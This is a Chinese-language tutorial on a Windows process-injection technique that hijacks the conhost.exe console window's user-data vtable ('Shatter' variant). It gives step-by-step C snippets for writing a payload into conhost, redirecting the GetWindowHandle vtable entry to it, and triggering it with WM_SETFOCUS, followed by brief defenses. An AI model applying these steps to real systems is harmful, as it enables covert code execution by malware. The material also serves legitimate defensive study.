windows进程注入技术之控制台窗口类
字数 990 2025-08-29 08:32:30
Windows进程注入技术:控制台窗口类用户数据注入
1. 技术概述
这是一种基于Windows控制台窗口(conhost.exe)用户数据(GWLP_USERDATA)的进程注入技术,属于"Shatter"攻击的变体。该技术通过修改控制台窗口的用户数据指针,劫持虚拟函数表(vtable)中的方法,利用窗口消息机制触发恶意代码执行。
2. 技术原理
2.1 控制台窗口用户数据
每个Windows窗口对象都支持通过SetWindowLongPtr API和GWLP_USERDATA参数设置的用户数据。在控制台窗口主机(conhost)进程中:
- 用户数据存储了一个数据结构体的地址
- 该结构体包含窗口位置、尺寸、对象句柄等
- 最重要的是包含一个带有控制控制台窗口行为方法的类对象(vtable)
- 这些数据存放在有写权限的堆上
2.2 关键数据结构
虚拟函数表(vtable)结构
typedef struct _vftable_t {
ULONG_PTR EnableBothScrollBars;
ULONG_PTR UpdateScrollBar;
ULONG_PTR IsInFullscreen;
ULONG_PTR SetIsFullscreen;
ULONG_PTR SetViewportOrigin;
ULONG_PTR SetWindowHasMoved;
ULONG_PTR CaptureMouse;
ULONG_PTR ReleaseMouse;
ULONG_PTR GetWindowHandle; // 关键方法,可用于触发执行
ULONG_PTR SetOwner;
ULONG_PTR GetCursorPosition;
ULONG_PTR GetClientRectangle;
ULONG_PTR MapPoints;
ULONG_PTR ConvertScreenToClient;
ULONG_PTR SendNotifyBeep;
ULONG_PTR PostUpdateScrollBars;
ULONG_PTR PostUpdateTitleWithCopy;
ULONG_PTR PostUpdateWindowSize;
ULONG_PTR UpdateWindowSize;
ULONG_PTR UpdateWindowText;
ULONG_PTR HorizontalScroll;
ULONG_PTR VerticalScroll;
ULONG_PTR SignalUia;
ULONG_PTR UiaSetTextAreaFocus;
ULONG_PTR GetWindowRect;
} ConsoleWindow;
用户数据结构
- 总大小:104字节
- 第一个64位值指向虚拟表(vtable)
- 默认具有PAGE_READWRITE内存保护
3. 注入步骤详解
3.1 准备工作
-
获取目标控制台窗口句柄:
HWND hwnd = FindWindow(L"ConsoleWindowClass", NULL); -
获取conhost.exe进程ID:
DWORD pid, ppid; GetWindowThreadProcessId(hwnd, &ppid); pid = conhostId(ppid); // 需要自定义函数获取conhost PID -
打开conhost进程:
HANDLE hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
3.2 注入恶意代码
-
在目标进程分配内存并写入payload:
LPVOID cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr); -
获取当前用户数据指针和虚拟表地址:
LONG_PTR udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA); ReadProcessMemory(hp, (LPVOID)udptr, (LPVOID)&vTable, sizeof(ULONG_PTR), &wr); -
读取原始虚拟表内容:
ConsoleWindow cw; ReadProcessMemory(hp, (LPVOID)vTable, (LPVOID)&cw, sizeof(ConsoleWindow), &wr);
3.3 劫持虚拟表
-
在目标进程分配新虚拟表内存:
LPVOID ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); -
修改本地虚拟表副本,将GetWindowHandle指向payload:
cw.GetWindowHandle = (ULONG_PTR)cs; -
写入修改后的虚拟表到目标进程:
WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr); -
更新用户数据指针指向新虚拟表:
WriteProcessMemory(hp, (LPVOID)udptr, &ds, sizeof(ULONG_PTR), &wr);
3.4 触发执行
-
发送WM_SETFOCUS消息触发payload执行:
SendMessage(hwnd, WM_SETFOCUS, 0, 0); -
恢复原始虚拟表指针:
WriteProcessMemory(hp, (LPVOID)udptr, &vTable, sizeof(ULONG_PTR), &wr); -
清理资源:
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE); CloseHandle(hp);
4. 技术特点
- 无需创建新线程:利用现有窗口消息机制触发执行
- 隐蔽性较高:操作的是合法的窗口数据结构
- 适用范围:主要针对控制台窗口类(ConsoleWindowClass)
- 系统兼容性:在64位Win10系统测试成功
5. 防御措施
- 限制对conhost.exe进程的访问权限
- 监控窗口用户数据的异常修改
- 使用最新的Windows版本和安全补丁
- 实施代码完整性保护措施
6. 扩展应用
虽然本文主要针对控制台窗口,但其他应用程序也可能使用GWLP_USERDATA存储类对象指针,类似技术可以应用于这些场景。